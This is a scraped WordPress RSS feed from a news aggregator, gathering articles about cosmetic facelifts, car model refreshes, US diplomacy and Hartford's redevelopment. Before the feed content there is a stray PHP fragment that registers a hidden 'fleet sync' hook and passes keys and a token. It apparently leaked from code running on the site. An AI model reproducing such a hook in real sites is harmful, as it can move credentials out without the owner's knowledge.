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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); facelift – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Wed, 07 Aug 2019 15:12:11 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png facelift – Brief News https://briefnews.eu 32 32 What You Need To Know About The Latest SMAS Facelift Techniques https://briefnews.eu/what-you-need-to-know-about-the-latest-smas-facelift-techniques/ https://briefnews.eu/what-you-need-to-know-about-the-latest-smas-facelift-techniques/#respond Tue, 06 Aug 2019 08:37:25 +0000 http://briefnews.eu/?p=254361 Article was originally published on Aedit.

More than a century after the first recorded rhytidectomy (a.k.a. facelift), surgical techniques have come a long way toward natural, long lasting results.

Krista Smith


The technical term for facelift is “rhytidectomy,” which is derived from the Ancient Greek words for “wrinkle” (rhytis) and “excision” (ektome). And, while there remains some debate over what constituted the world’s first-ever rhytidectomy, it occurred at least a century ago in Europe at the request of a female patient. All this is to say, women (and, later, men) have been interested in the surgical removal of wrinkles for at least 100 years. Fortunately, face-lifting techniques have come a long way in that time.

“Traditional facelifts originally only addressed sagging skin,” says board certified plastic surgeon Jason Roostaeian, MD. “But the skin isn’t where the issue is. It’s the descent of the tissue deep into the skin, along with facial devolumization, that we’re mostly trying to remedy.”

OG facelifts relied entirely on pulling skin backwards, limiting the amount of correction and resulting in the telltale taut effect. As Dr. Jason explains, the reason tightening the facial skin alone leads to lackluster results is threefold:

  1. The tightened skin starts to stretch again over time
  2. Too much tension in the skin creates more visible scarring
  3. Simply pulling the skin taut “doesn’t restore the volume and convexity” patients lose with age

In an effort to address these shortcomings, facial plastic surgeons in the 1970s coined the term “superficial musculoaponeurotic system” (SMAS) to describe the layer of fat and connective tissue that lies between the skin and the facial muscles and began experimenting with techniques that could lift and firm the face in a more natural way. Today, the evolution of SMAS-based surgeries has become the gold-standard of modern facelifts.

SMAS Plication Facelift

In a face-lifting technique known as plication, plastic surgeons suture the SMAS in a stair-step pattern that is pulled tight and secured to more stable deep tissue for a lifted effect. But there are complicating factors. When the skin is draped back over the sutured SMAS, the bunching of the underlying tissue can sometimes cause visible irregularities in the patient’s lower cheeks. “The whole essence of youth is smoothness,” Dr. Jason says. “Anytime you have a little contour problem, it ruins that. It’s aging.”

SMASectomy Facelift

To eliminate the risk of contour inconsistencies, today’s cosmetic surgeons generally rely on variations of a facelift technique known as SMASectomy, which utilizes both the mobile and immobile portions of the SMAS.

“Over the lateral portion of your face, closer to the ear, the SMAS tends to be stiffer, and, as you move forward toward the center of your face, it gets more mobile,” Dr. Jason says. “To avoid the pincushion effect that spanning sutures often produce, we instead remove a piece of the tissue at the junction of the mobile and immobile SMAS, pull up the mobile portion, and anchor it to the immobile portion near the ear.”

As a result, the sagging tissue and lax skin of the lower face and jowl area is lifted. Surgeons remove any excess skin and are able to hide the sutures in the natural crevices and folds around the ear.

High SMAS Facelift

A Deep Plane Facelift takes the SMASectomy method one step further. Plastic surgeons dissect the underside of the SMAS, separating it from the deeper muscle tissue to mobilize the entire SMAS layer prior to the SMASectomy. Dr. Jason prefers a slightly modified version of this technique known as a High SMAS Facelift.

While other SMAS techniques focus only on the lower face, Dr. Jason likes that this approach “frees up the entire SMAS as one unit — all the way up above the level of the zygomatic arch (cheekbone) — so you can have an effect on the cheek as well as the jawline.”

“If you only work below the cheek, then you’re not going to get an effect on the cheek,” he says, adding that the results are often longer lasting and more stable because the SMAS is thicker near the ear, allowing for a more secure suture.

The Procedure

Dr. Jason tailors each surgical procedure to the unique needs of his patients and says there is no “right age” for a facelift. “How do you know you’re a good candidate? When you first note the signs of aging that are best solved with a facelift,” he explains. “A facelift is the most elegant solution for sagging, loose skin of the lower face.” Generally speaking, facelift conversations begin with patients over 50.

It’s quite common for plastic surgeons to combine a High SMAS Facelift with a neck lift (to alleviate excess neck skin) and procedures like buccal fat pad removal and/or fat grafting (to address the volume distribution issues associated with facial aging). A brow lift, meanwhile, can refresh the upper portion of the face to balance out the lower facelift.

The result? Total facial rejuvenation.

The Recovery

An advantage of a Deep Plane Facelift is that it’s less traumatic to the superficial layers of the skin because the majority of the surgical manipulation occurs deeper. This usually leads to less bruising and better healing.

Dr. Jason’s facelift patients are typically out and about two weeks post-op (though patients who have had fat grafting to restore some of the lost volume in conjunction with their facelift procedure may experience longer recovery times due to the bruising that often accompanies the liposuction). He generally tells patients to allow six weeks before any major events and to expect something very close to a final result at three months. Scars, meanwhile, will grow nearly imperceptible over the course of a year.

It should be noted that, in addition to the risks associated with general anesthesia, facelifts carry a small risk of nerve damage that can create a slight unevenness when a patient smiles. This is due to manipulation of the platysma muscle, which can disrupt the facial nerve, but is rarely permanent.

Of greater concern for facelift patients is the chance of developing a hematoma (i.e. a collection of blood beneath the skin). While a hematoma has no impact on a patient’s long term result when managed properly, it can have a dramatic effect on the recovery process if left untreated.

“The face is very vascular. Whenever you lift up tissue and release all those attachments, you open up a big space into which you can bleed excessively,” says Dr. Jason. “Anesthesia and epinephrine in the operating room lower your blood pressure and constrict your vessels, so when that wears off and the blood vessels open up, we have to be diligent about monitoring your blood pressure.” For this reason, he requires an overnight hospital stay for his facelift patients so they can be monitored and cared for by professionals.

Patient Perspective

So what is it really like to get a facelift? The AEDITION spoke to two of Dr. Jason’s patients to gain more insight into the experience — from pre-op through recovery.

Rosemary, 55

When Rosemary booked a consultation with Dr. Jason to discuss an osteoma (a bony outgrowth) on her forehead, she jokingly asked if it would be possible to “just pull everything up” during the procedure. “He laughed and explained to me that the incisions for facelift surgery were very different,” she recalls. “But we talked about how the lower half of my face — my jawline and neck — was showing signs of aging more than the upper part.”

Dr. Jason pointed out that the BOTOX® and fillers that Rosemary’s dermatologist was injecting couldn’t really address the issues of the lower face, but she was nervous about having a medically necessary surgery — let alone cosmetic one — so she initially held off.

After several months of research, however, Rosemary made a second appointment and decided to go through with the facelift. She combined it with her osteoma removal, which meant a slightly longer recovery. In addition to her overnight stay at the UCLA Surgery Center, she opted to spend three days at a recovery facility, which she says is “well worth it, if you can afford it.” Rosemary credits her minimal swelling and bruising to the diligent icing by her after-care nurses.

Though she admits to feeling “a little shocked” by her swollen and bruised appearance immediately post-op, Rosemary was able to attend a party at her husband’s office about a month after the surgery. She says she’s gotten very positive feedback about her procedure from friends and family, but no one can guess what she’s had done.

Three years later, she’s still thrilled with her results. “It took off 10 years, and now if I don’t get enough sleep, my face doesn’t show it like it used to,” she says. “It’s been a really good thing.”

Diana

A facelift wasn’t necessarily on Diana’s radar, but she was concerned about looking older. When her close friend and her sister both began looking into facelift surgery, Diana realized she wanted to take the plunge. “I wanted to look better,” she says, “just for myself.”

Her friend referred her to Dr. Jason, who helped her formulate a plan that included a brow, neck, and facelift. She remembers the first week or so following her surgery was emotionally challenging. “After the surgery, it was exciting because I looked really good,” she shares. “And then like a week later, my face started looking really bad — like squared off, a weird shape and kind of yellow. It was depressing.”

But having her sister and friend going through similar experiences was very helpful, as was the reassurance she received from Dr. Jason. The changes she was experiencing were all part of the normal healing process. Two years post-op, Diana couldn’t be happier. “I had a really good experience, and I think I look great,” she says. “I love it.”

]]> https://briefnews.eu/what-you-need-to-know-about-the-latest-smas-facelift-techniques/feed/ 0 The Ford Edge 2019 gets better tech and minor facelift https://briefnews.eu/the-ford-edge-2019-gets-better-tech-and-minor-facelift/ https://briefnews.eu/the-ford-edge-2019-gets-better-tech-and-minor-facelift/#respond Wed, 10 Oct 2018 14:23:03 +0000 http://briefnews.eu/the-ford-edge-2019-gets-better-tech-and-minor-facelift/

Ford sells a lot of Edge SUVs. It unloaded 142,603 in 2017 alone. The reason is that it’s a solid sport utility vehicle with ample storage space. It’s a big vehicle so it’s not particularly fast or agile, but it gets the job done. With the 2019 refresh (starting at $ 29,995), the automaker sticks with what works while creating a slightly more aggressive-looking vehicle and updating its driver-assistance features.

At the center of that new technology is Co-Pilot360. The Edge is the first Ford vehicle with the updated driver-assistance suite. Like other automakers, Ford has decided to drop its newest tech in an SUV because people buy a lot of SUVs. The result is a safer vehicle with some of the more important features available as standard equipment.

The biggest update to the semi-autonomous features is the lane-keep assist. Ford’s previous system was reactionary instead of proactive. The vehicle would realize it was close to a lane and nudge itself back toward the center of the lane. It worked, but riders suffered from a bit of a ping-pong effect. On Co-Pilot360, the vehicle does its best to track itself into the center of the lane.

During my drives on the highways of Utah, I still noticed a bit of bouncing back and forth between lane edges, but it’s far less than before. Even with these tiny ricochets, it’s a superb evolution of the feature for the automaker.

In addition to doing a better job keeping you in your lane, Ford updated its adaptive cruise control to work better in gridlock. Co-Pilot360 will track and follow the vehicle ahead of the Edge even in stop-and-go traffic. So if a car in front of the SUV comes to a complete stop and then starts up again (within three seconds), the Edge will continue to follow it. After three seconds, the driver just needs to tap the “resume” button on the steering wheel. For commuters, this is great news and during my tests, it worked as expected.

While these updates are great, it’s impressive that the features you hope never to use, like post-collision braking and auto-emergency braking are now standard. Ford even demoed the auto-emergency braking with an inflatable car (you know in case things go horribly wrong and the system fails to brake). I drove the Edge at the balloon vehicle, took my foot off the gas and brake and the SUV stopped within one foot of the faux car. It works, and it’s standard.

Behind the wheel (when not driving the vehicle into giant balloon cars), the Edge delivers what you would expect from a mid-size SUV. The 2.0-liter 250-horsepower turbocharged 4-cylinder engine and eight-speed transmission give the SUV enough oomph for 90 percent of the freeway and city driving the car will encounter. But if you want to gun it from a dead stop, be prepared to wait a few beats before the Edge lurches forward. It’s not meant to be a drag racer, but it takes a bit to get used too especially when trying to pull out onto a busy street.

The vehicle has all-wheel drive, but for efficiency’s sake, most of the time the SUV is pulled along by the front two tires. The all-wheel-drive system jumps into action automatically during hard acceleration, when wheels slip or even when towing (up to 3,500 pounds).

The steering, like the powertrain, is on point for the mid-size SUV. No more, no less. It handled itself admirably on free curves and around city intersections. Body roll started to rear its head while hitting sharper mountain corners. Again, the average Edge driver wouldn’t push the car like this. Instead, they want room for five and storage capacity, which the SUV is more than able to handle.

The interior isn’t exciting, but it is comfortable and all the features are laid out in a fashion that should make a driver at home within a few minutes behind the wheel. The storage area is huge for a vehicle this size. Ford has wisely forgone the trend of aggressive tapering off the back of their SUVs, therefore, eating into crucial trunk space. There’s still a bit of an angle there, but unless you’re buying all your things from Costco, you should be fine filling up the SUV with your stuff.

The Sync 3 infotainment system is still a first-rate way to interact with navigation, media, etc, even if it’s not the prettiest system on the market. It’s function over form, and that’s fine. It’s better than being confused trying to figure out how to get directions to the mall. If you’d rather interact with your smartphone, it supports CarPlay and Android Auto.

Ford played it safe with the new Edge. The design changes are small, it drives like you would expect an Edge to drive, and you can still put a week’s worth of groceries for your family of four in the storage area. The Edge sells well; why mess with a good thing?

Burt more importantly, Ford is looking at safety. The Co-Pilot360 system is a great upgrade to the automaker’s driver-assistance suite. The standard features like emergency stopping and braking after an accident make the Edge a more compelling offering. It even has a rear-camera washer standard, so even when you back up, you have a clearer view.

]]> https://briefnews.eu/the-ford-edge-2019-gets-better-tech-and-minor-facelift/feed/ 0 Anne Robinson plastic surgery: Weakest Link TV presenter looks sensational after facelift https://briefnews.eu/anne-robinson-plastic-surgery-weakest-link-tv-presenter-looks-sensational-after-facelift/ https://briefnews.eu/anne-robinson-plastic-surgery-weakest-link-tv-presenter-looks-sensational-after-facelift/#respond Mon, 01 Oct 2018 07:42:54 +0000 http://briefnews.eu/anne-robinson-plastic-surgery-weakest-link-tv-presenter-looks-sensational-after-facelift/

Anne Robinson, 73, is best known as being the presenter of the Weakest Link.

The redhead has also worked on Watchdog for many, many years. 

Most recently she presented Anne Robinson’s Britain for BBC One.

Anne looks fantastic for her age, something she credits, in part, to her facelift over a decade ago.

Anne Robinson revealed she had a facelift in 2003. 

The mother-of-one admitted to a facelift an interview with The Mirror in 2009.

She said: “I had a facelift originally five years ago because I didn’t want to look like my mother. I did look like her.”

“I certainly wasn’t scared when I had my facelift. Why would I be when I nearly died of alcoholism 35 years ago?

“I never thought it was a big deal to have it done. And I’ve never thought to keep it quiet.”

She told The Sun in 2016: “I don’t understand why people object to face surgery when they pierce their ears or have their haircut, what’s the difference?”

The image on the left was taken on 14 May 2001 at the Radio City Music Hall in New York City by Scott Gries for Getty Images. The image on the right was taken at the 2015 Man Booker Prize award ceremony at the Guildhall on October 13, 2015 in London by Max Muby and Indigo for Getty Images.

In another interview with the same paper that year in October she said: “Look, I had a facelift 13 years ago.

“But I don’t drink, I don’t smoke, my hair is highlighted once a month, I run and I don’t eat crap food. I try quite hard to look OK.

“I don’t go and have my face pulled around all the time.”

Anne Robinson revealed in recent years that she didn’t need Tinder to help her improve her love life. 

Anne Robinson has been married twice, first to Charles Winston and then later to journalist John Penrose. 

Another celebrity who often inspired plastic surgery rumours is Melania Trump.

Express.co.uk spoke to a selection of surgeons and experts about the surgery they believe Melania has undergone to change her look – and how much she has spent on it.

Dr. Dev Patel, medical director of Perfect Skin Solutions in Portsmouth, estimated Melania’s cosmetic transformation ahead of becoming the First Lady would likely cost anywhere between £10,000-£12,000 in the UK.

Has Queen Letizia of Spain had plastic surgery? 

The Queen revealed she had undergone facial surgery in 2008, although the Palace informed the public that the operation was to help a respiratory problem.

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]]> https://briefnews.eu/2019-audi-tts-facelift-leaked/feed/ 0 2019 Dodge Charger SRT Hellcat is getting a facelift https://briefnews.eu/2019-dodge-charger-srt-hellcat-is-getting-a-facelift/ https://briefnews.eu/2019-dodge-charger-srt-hellcat-is-getting-a-facelift/#respond Tue, 08 May 2018 18:48:34 +0000 http://briefnews.eu/2019-dodge-charger-srt-hellcat-is-getting-a-facelift/

The Challenger Hellcat won’t be the only Mopar muscle car getting an update for the new model year. One of our spy photographers caught an updated 2019 Dodge Charger SRT Hellcat testing near the SRT office. It appears that the car will continue on mostly unchanged, since everything behind the fenders is uncovered and unchanged. But the fascia must be getting some noteworthy changes considering how well it’s hidden.

And it’s really, really well-hidden. It’s extremely difficult to see through this covering. Whatever changes have been made still aren’t going to be massive. It looks like the basics remain the same, including the large center grille in the bumper flanked by two outboard inlets that lack fog lights. The grille appears to still connect with the headlights, and the grille is pinched in the middle.

Odds are, the front fascia is the only major difference on the 2019 Charger Hellcat, just as the twin-scoop hood on the Challenger Hellcat is the only major difference on that model. Under the hood will likely be the same 707-horsepower supercharged V8. This Charger prototype also sports the same Brembo brakes as the current model. The full reveal will probably come this summer along with the Challenger.

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]]> https://briefnews.eu/2019-dodge-charger-srt-hellcat-is-getting-a-facelift/feed/ 0 New Hyundai Tucson 2018 – New SUV specs and facelift revealed in New York https://briefnews.eu/new-hyundai-tucson-2018-new-suv-specs-and-facelift-revealed-in-new-york/ https://briefnews.eu/new-hyundai-tucson-2018-new-suv-specs-and-facelift-revealed-in-new-york/#respond Thu, 29 Mar 2018 16:39:38 +0000 http://briefnews.eu/new-hyundai-tucson-2018-new-suv-specs-and-facelift-revealed-in-new-york/

Hyundai celebrated the world debut of the new 2018 Tucson at the New York International Auto Show this week.

At the motor show, the latest iteration of the popular SUV was unveiled.

Its design has been refreshed, new technology and convenience features have been added and, its powertrain line-up has been refined.

“The New Tucson brings a fresh look, creating a consistent appearance with our latest Hyundai models, as well as a series of enhancements to the driving and ownership experience” says Andreas-Christoph Hofmann, Vice President Marketing and Product at Hyundai Motor Europe.

“With this major update, we expect the New Tucson to remain highly attractive to our customers, who consistently make it our best-selling model.”

Central to car’s exterior design is Hyundai’s signature Cascading Grille, which is flanked by a new LED headlight signature.

Among the other updates to the car’s design are an uplifted front bumper, skid plate and a new wheel design.

At the rear, the car has been equipped with new rear taillights, rear bumper and muffler.

Powertrain options for the new Tucson have also been revised, with just two petrol and two diesel engines to choose from.

Each unit has been modified to reduce its overall size and improve CO2 emissions.

At the top pf the range is the 2.0 diesel engine with an output of 137 kW/ 186 PS which is paired with a six-speed manual transmissions and four wheel drive – it can also be paired with an eight-speed automatic transmission.

There is also a choice of the 1.6-litre diesle engine which has two power output – 115PS and 133PS.

Both engines are available with a six-speed manual transmission and front-wheel-drive.

For the higher power version Hyundai offers a seven-speed dual clutch transmission (7DCT) and the choice of front- or four-wheel drive.

The two petrol engines offered are both 1.6-litre GDI engine but one is turbocharged.

Power outputs for the petrol engines are 132PS and 177PS.

The former 1.6-litre GDI is mated to a six-speed manual transmission and front-wheel drive, while the 1.6-litre T-GDI can be mated to either a six-speed manual or seven speed dual-clutch transmission and either front or four-wheel drive.

Inside the car is can be specified with a premium sound system by Krell, a wireless QI standard based mobile phone charger and a seven-inch information screen, supporting Apple CarPlay, Android Auto and Bluetooth connectivity.

It has also been equipped with the latest active safety and driving assistance features including: Autonomous Emergency Braking (AEB), Lane Keep Assist (LKA), Driver Attention Warning (DAW) and Speed Limit Indicator Function (SLIF).

The Tucson is set to make its European debut in a few weeks time, before going on sale in summer.

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]]> https://briefnews.eu/new-hyundai-tucson-2018-new-suv-specs-and-facelift-revealed-in-new-york/feed/ 0 American diplomacy needs a facelift https://briefnews.eu/american-diplomacy-needs-a-facelift/ https://briefnews.eu/american-diplomacy-needs-a-facelift/#respond Mon, 12 Mar 2018 01:21:11 +0000 http://briefnews.eu/american-diplomacy-needs-a-facelift/ rex tillersonAssociated Press/Jacquelyn Martin

  • Under the Trump administration, there has been a “demobilization” of the State Department and a general disdain for international diplomacy. 
  • But it’s important to understand the State Department was falling on hard times even before the Trump administration accelerated the trend.
  • Americans have long viewed it with a certain suspicion and disdain.

When a U.S. president thinks most positions at the State Department are “unnecessary” and insists “I’m the only one that matters,” it’s a safe bet that serious, professional diplomacy will get short shrift. And that has clearly been the case in the Trump administration. President Donald Trump and Secretary of State Rex Tillerson have done serious damage to American diplomacy. And it’s time to consider how that damage can be repaired.

It’s important to understand the State Department was falling on hard times even before the Trump administration accelerated the trend. The United States has had a rather casual attitude about diplomacy for much of its history, even though some of its greatest foreign-policy successes were achieved by diplomacy rather than by force of arms. 

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]]> https://briefnews.eu/american-diplomacy-needs-a-facelift/feed/ 0 This Capital City Is Desperate for a Face-Lift https://briefnews.eu/this-capital-city-is-desperate-for-a-face-lift/ https://briefnews.eu/this-capital-city-is-desperate-for-a-face-lift/#respond Wed, 18 Oct 2017 04:43:19 +0000 http://briefnews.eu/this-capital-city-is-desperate-for-a-face-lift/

It’s a sunny fall Friday afternoon as a group of stylish tech professionals stroll out of a sprawling office space — headed for happy hour at a new local brewery. Others hop on the express train to the city, while a gang of interns and students hustle to a campus shuttle that whisks them off to newly developed high-end housing in nearby downtown.

This might sound familiar to residents of Austin, Texas, or Silicon Valley, but in Connecticut — a state historically built on large-scale manufacturing and big finance — it’s a fantasy that’s just starting to take shape as a reality. Through a combination of private and public investment, several projects underway in Hartford have the potential to breathe new life into the state capital’s economy. As Connecticut battles a fiscal crisis, will revamped urban development provide fresh opportunities for middle-class residents and big businesses?

Hartford has determined that a new vision — one that will attract students and a young, talented workforce — is imperative.

“Connecticut is often referred to as the Land of Steady Habits,” says Jamie Brätt, the director of planning and economic development for the city of Hartford. “This [redevelopment] is a signal that things are changing.”

As Brätt alludes, Connecticut has a long history of doing a few things well. “America’s Country Club” actually has roots in blue-collar manufacturing, with an industrial base that dates back to 18th-century shipbuilding. By 1950, half of the state’s jobs were in manufacturing. As financial firms and corporations fled heavily taxed Northeast metros like New York and Boston, Connecticut capitalized, luring big business via tax incentives and suburban opportunity. But that trend is reversing. Despite being the country’s richest state per capita, Connecticut’s $ 2 billion budget deficit and current corporate exodus threaten the future of this wealthy enclave.

In early 2016, after nearly 40 years in Fairfield, Connecticut, General Electric left for Boston. And this summer, insurance giant Aetna abandoned Hartford for New York City. The loss of the $ 50 billion company, which had been in Hartford since 1853, was devastating. “[Connecticut] is far from the cheapest place to do business,” says Jim Conroy, managing partner of Stamford-based private equity firm Olympus Partners. “The financial sector has enjoyed great incentives, but now we’re seeing large corporations in other sectors seek greener pastures.”

Following the news of Aetna’s departure, Hartford Mayor Luke Bronin issued a statement calling for change. “As a state, we need to act boldly,” he wrote. “Companies are locating in places where they can recruit top talent. We don’t have to be New York or Boston to be competitive, but we have to recognize that strong, fiscally sound, culturally vibrant metropolitan areas are key to economic growth.” As such, Hartford has determined that a new vision — one that will attract students and a young, talented workforce — is imperative.

One of Hartford’s biggest redevelopment projects is Downtown North, simply known as DoNo. The L-shaped plot of previously barren land is now occupied by Dunkin’ Donuts Park, home of the Colorado Rockies’ minor league affiliate, the Hartford Yard Goats. But anticipation of a 16-acre neighborhood of apartments, offices, restaurants, shops and galleries surrounding the park is what really moves the needle. Hartford resident Matt Cunningham believes that DoNo could work wonders toward rebuilding Hartford. “The city has made some progress revitalizing downtown,” says Cunningham, noting a recent influx of restaurants, bars and shops in the city center. “Another vibrant neighborhood gives people even more reason to live here.”

And investors with an eye toward hip entrepreneurial enterprise are setting up shop too. Upward Hartford was founded last year as an “incubator and accelerator for startups focused on innovation and creativity,” says CEO and founder Shana Schlossberg, who is following the co-working model — private offices, conference rooms and common areas for socializing and networking — in hopes of building a thriving ecosystem of Hartford-based creatives in the city’s iconic Stilts Building. Since opening, the space has grown to accommodate other individuals and businesses outside the startup realm. The mission, the way Schlossberg sees it, is to “build a thriving business culture in Hartford … like New York, Silicon Valley or Tel Aviv.”

Another key growth area for the capital city is convincing college students — and recent grads — to return to the area. After an absence of 47 years, UConn has reopened a Hartford campus, leading to an increase of interest from the education sector to small business and individuals, says deputy director of development services for the city of Hartford, Kiley Gosselin. UConn already plays basketball and hockey at the local XL Center, but the daily presence of thousands of students is paramount to eventually filling vacant manufacturing warehouses in Hartford with new businesses. “Over the past year and a half, we’ve seen a number of businesses relocating to, expanding and starting up in Hartford,” Gosselin tells OZY. “And we continue to see that progress with transportation expansion.”

As in the Hartford Line, aiming to launch May 2018. The rail project will connect Hartford with Springfield, Massachusetts, and New Haven, with its existing links to New York City. The $ 623 million project includes $ 432.2 million in state funds and $ 190.9 million from the federal government. As Gov. Dannel Malloy noted when announcing the new infrastructure initiative, “towns with new stations aim to use them as a catalyst for development.”

But that progress hinges on these projects moving forward. The massive DoNo project, which broke ground in 2015, has stalled due to litigation with the original construction company. Hartford officially severed ties with it on Oct. 2, and the city has yet to find a new developer.

Connecticut’s identity is in flux. Known for a few wealthy coastal towns that have all the fun(ds), the rest of the state has fallen behind, full of empty warehouses and little-used railroads. But an enhanced capital may lead to sustainable progress elsewhere. Whether you’re an app developer or brewmaster or anything in between, Hartford wants you. And don’t forget your glove if the Goats are in town.

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]]> https://briefnews.eu/this-capital-city-is-desperate-for-a-face-lift/feed/ 0 Skincare, facelift and more: Top tips to help you glow this summer https://briefnews.eu/skincare-facelift-and-more-top-tips-to-help-you-glow-this-summer/ https://briefnews.eu/skincare-facelift-and-more-top-tips-to-help-you-glow-this-summer/#respond Thu, 06 Jul 2017 22:59:25 +0000 http://briefnews.eu/skincare-facelift-and-more-top-tips-to-help-you-glow-this-summer/

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Chevrolet’s midsize sedan seems to have paid a visit to the plastic (or sheetmetal) surgeon based on these spy photos. It appears only the front and back of this Malibu have gone under the knife, seeing as they’re the most heavily covered. The midsection only has a camouflage vinyl wrap, and from what we can tell, appears to be the same as the current version.

Up at the front, it seems that the lower half of the Malibu’s grille dips lower than the current model. In turn, it looks like the lower intake has been reduced in height. Underneath the headlights, we can see that the foglights and side vents have changed shape. They appear to be more upswept than the current versions.

The tail of the Malibu has seen more substantial changes than the nose. Compared with the current car, the trunk lid doesn’t have as dramatic of an arch, and the tops of the fenders have been raised. The result is a rear deck that, while less curvaceous, looks wider and more planted like the front end.

We expect to see the refreshed Malibu fully revealed sometime next year, likely in the first or second quarter. We don’t expect any major mechanical updates. Our spy photographer suggests the diesel from the Cruze and Equinox could become available. This would further spread out the costs of the diesel engine and cement Chevrolet’s position as the lead economy diesel manufacturer. However, Chevrolet already offers a hybrid Malibu, and it might not make sense to offer two high-fuel economy versions of the midsize sedan, especially when one runs on cheaper 87-octane gasoline.

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